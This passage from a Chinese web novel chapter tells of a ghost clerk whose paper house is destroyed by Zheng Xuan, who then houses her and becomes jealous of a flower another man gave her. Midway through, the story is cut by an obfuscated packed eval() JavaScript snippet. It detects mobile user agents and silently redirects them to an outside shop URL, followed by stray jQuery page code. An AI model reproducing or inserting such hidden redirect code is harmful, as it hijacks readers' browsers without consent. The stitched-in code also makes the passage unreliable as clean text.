郑轩一副恍然若失的样子,仿佛若我再不开门,就要强行破门而入了。他是什么时候在门口的,我竟毫无察觉。是了,在我发烧昏睡的几个时辰里,好像是有咚咚咚的敲门声。
我还以为是高烧让我产生的幻觉。
仔细一看,他分明就是在掐诀施法破门,我赶紧拦住他。“别,我房子比较脆弱,你真砸了我的门,恐怕房子都要保不住了。”
这房子本来就不算牢固,经过这么多年,我也没攒够钱买一套新的,地府物价奇高,每当我存到一笔钱,那物价又飞涨的让我对房子望尘莫及,大多数鬼也就住阳间的亲人一开始烧给他的房子。他若是真给我砸了,我就真没地方去了。
门开的还是太晚了,话说的也太晚了,话刚说完,只听见身后的房子摇摇欲坠,随着纸张撕裂的声音,房子在我身后轰然倒塌,风一吹,那房子四周的墙壁就化成纸屑吹走了。天啊,我的房子!
我知道这房子是小弟用作业本给我糊的,很是脆弱,没想到这么脆弱,任是我施了那么多法都毫无作用,那些做墙面的纸就这么无情地飞走了。
我恨死他了!他不断戏弄我的感情,还要跑来我这当着我的面拆了我的房子。我只觉得脑子烧的更厉害了,一股怒火升起。
我扑上去就朝他打了起来:“你还我房子,还我房子!”打着打着一股心酸涌上心头,忍不住哭了,“这下好了,真的无家可归了。”郑轩果然是大奸大恶之人,动不动就拆我房子,拆家之仇,不共戴天啊!
“好好好,三丫,你想要家,我会给你一个家!”他紧紧抱住我安抚着,不知道是安慰我还是骗我,我早就不相信男人的话了。
“叫三丫实在是太难听了。”我哭的更凶了。“叫李三丫和王二狗有什么区别?你都不知道从小到大因为这个名字我受到了多少嘲笑。我只是不小心用了她的名字,是我无意的。最多我再改个名字就好了。你也不必因为这样就憎恨我。”这一刻我忽然觉得白银都有些讨厌了,他恶搞仇人就算了,还要不顾后果将我拉下水。
“那我还是叫你小白吧,白晓菲这个名字很适合你,不用改的,你继续用着挺好的。”
“你是二哈吗,撞个门都能把我房子拆了。这房子我小弟烧给我的,这个世界上,只有他真的关心我。你不知道在阴间买一套房子有多贵。”我仍在哭泣,忽然想到,对临渊阁主而言,赔我一套房子好像也并不是困难的事,要不……
“你想要什么样的房子?”他主动提起。
“我也不占你便宜,你毁了我房子,赔一套差不多的给我就行了。”啊,我觉得自己还是太有良心了,明明可以趁机狮子大开口,最后还是怂的只敢要他一比一还原。
“你倒是可以多占占我便宜。”他有些无奈的笑了,用手摸着我的头。“你这个家,虽然简陋但还是很温馨的。”
他让汤圆打包了我的行李和物件,说是我房子太过于简陋,在这要找这么简陋的房子着实困难,需要些时日,“这段时间先住在临渊阁吧,反正也不是第一天住了。”说着将我抱起来。
我是不情不愿地跟他回去的,但是家都被他拆了,难不成还能把他的家也拆了泄愤。
“汤圆,那花我自己拿,你别动它。”我指着黄景洪送的那朵花,担心汤圆以为是没用的物件给我扔了。
那是我收到的第一朵花,也是我入地府以后收到的第一份不带任何利益关系的礼物,我肯定要好好珍惜啊,而且它不会凋零啊,永远都那么清尘脱俗。
他将我安排在他自己的卧室,汤圆麻利的摆好了我的私人物品,桌上的他生前老婆的画不知道什么时候被他撤走了。
“你没看我信息吗?我一直联系不上你,担心你出事,这才不得已破门的。”他耐心跟我解释道。
“我烧了一天一夜,哪里有心情看你的信息。而且你拿最新款的平板手机给我的小灵通发信息,两百多条啊,你叫我怎么看。”
“是我的错,我给你换个手机。没想到地府现在这么抠门啊,鬼差的手机都换不起。”
“自从周扒皮来了以后,以部门绩效太差为由,各种名目克扣工资,吃得饱饭就不错了,哪有闲钱换手机。大家都怕他哪天把我们工资扣得连饭都吃不起了,都不敢乱花钱。你都不知道,华东那小子整天跟我抱怨,穷的都交不起女朋友了。他这几年为了谈个女朋友,十天才吃一顿啊!这家伙到现在用的都是哔哔机,还等我这台小灵通淘汰了接我的手机啊。”
穷啊,穷鬼是没资格谈爱情的!我都替华东心疼啊,他来地府的时候也没成家没后代,阳间的亲人给他烧了点简单的物资后就没再管过他了,其他一应物资都要自己置办。
他和我一样不爱找阳间亲人麻烦,也不好意思托梦给阳间亲人让烧纸,因而这一两百年,苦哈哈地当着牛马不敢挥霍。现在华东还在周扒皮手下干活,不知道哪一年能熬出头来。
他关心的摸了摸我的额头,然后端了碗粥水给我喝:“你像现在这样一个人多久了?”
“好久了吧,久到我都快忘了自己多少岁了。”
“你也不叫我弄个纸人伺候你,我要是不来找你,你怕是烧没了都没人知道吧。”
我高烧未褪,在床上躺尸,他不停地给我擦汗,轻轻地抽走了我手中的那朵花,叫汤圆拿了个瓶子插起来了。然后亲自下厨房给我做吃的。
当一桌子的美食放在我面前,我顾不上形象开始大口吃了起来。他仍旧微笑着看我吃东西,仿佛看我吃东西是很有意思的一件事一样。
“那朵摆在你房间的花,是怎么来的?”他不经意提起。
“黄景洪送的呀,他在天宫当差的时候,问王母娘娘后花园里打理花草的仙女姐姐要的。”
“是他送的?”夹菜的手停顿了下,脸上带些酸酸的表情,“我都不知道,他还给你送过花了。”
我抬起头看他:“他说这花放他那有些别扭,就送我了。”
“他还有没有送过你别的?”
“好像没有了。”
“那就好!”
从那以后,阁主仿佛和那朵花较劲一般,每回从人间回来就要带一束花给我,大有要将它比下去的意思。我看着十分不解,觉得郑轩大抵是脑子抽了,好好一个人,跟朵花较什么劲?
“小白,今天这花可还喜欢?”
“喜欢的。”
“把那朵花撤了好不好。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17519958|203119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他说着就要拿走黄判送我的仙花,我立马抢了过来。
“不行,要不就把你自己买的撤走,别动我的。”
他叹了口气,似乎对我的花有着很强的敌意。“花瓶不够了,你把它丢了,我每日给你换新的。”
“我又不是喜新厌旧之人,这朵花这么好看,还是黄判送的,怎么能说丢就丢。要丢就丢你自己买的,反正放不了几天就枯萎了。”
“那我也送你不会枯萎的花。”他认真道。“施个小法术,十年八年不会凋零的那种。你喜欢那朵,我就变哪朵。”
“我不要!是我得罪你了还是黄景洪得罪你了,偏偏要和他送我的花过不去。”
“如若是从前,这花你要留着也就罢了,只是现在,他是男的你是女的,你留着他送的花,终究是不妥。”
“你是男的我是女的,我留着你送的花,更加不妥!”
他顿时无言以对:“罢了,我让汤圆买多两个花瓶吧。他还给你做过什么?”
“啥?无非就是喜欢找我聊聊天,见我遇到困难会帮我。哦,他还请我去忘川河边喝过奶茶。”
他脸色变了又变:“你们关系已经这么好了?”
“你管我这么多做什么,我和白银、华东还并称‘地府三贱客’呢,难道你也要管我?”
“我知道你对他们并无其他意思,不足为患。”
“黄景洪怎么得罪你了,怎么感觉他是你心腹大患一样。”
我感觉他一副头疼的样子:“他没有得罪过我,相反还曾对我有恩。我只是,不希望你和他走得太近,他,毕竟是男的。”
我恍然大悟:“原来是大恩如大仇啊。”
郑轩满脸无奈:“不是,我是说他是男的。”
“华东白银不是男的?洪福斯法不是男的?是男的就怎么得罪你了?”这家伙是不是仇视同类啊。
他右手捂着头,如临大敌一般,似乎更加头疼了:“罢了罢了,我以后看紧点就好。”
什么叫看紧点?他这是几个意思?
正式住进临渊阁以后,我发现他对我管束越来越多了,让我一度想发飙。比如,每当我要去找黄景洪,他总要厚着脸皮跟过来。最后明明是我要和黄景洪聊天的,变成他和黄景洪才是主场,两个人在聊一些我不知道的法术。呵,男人,果然聊起法术就忘了本。
华东白银约我喝酒,他也时不时打电话查岗,还非得要过来接。
“在哪?”
“忘川边上,喝酒!干嘛?”
“和谁在一起?”
“白银、华东!”
“我过去接你!”
“不用!”我还没来得及拒绝,他人已经到了。我只好尴尬地和白银华东打哈哈。
白银和华东一脸吃瓜的表情看着我们,可想而知明天的八卦又得满天飞了。
他整日盯着我的花想丢花,还一天到晚管我怎么交友,让我觉得有些别扭,看着他莫名就觉得来气。
“你凭什么管我?”他被我一句话怼的不知所措。
“我,我只是关心你。”
“你关心的也太密了。”
“小白,其实,你也可以管管我的。”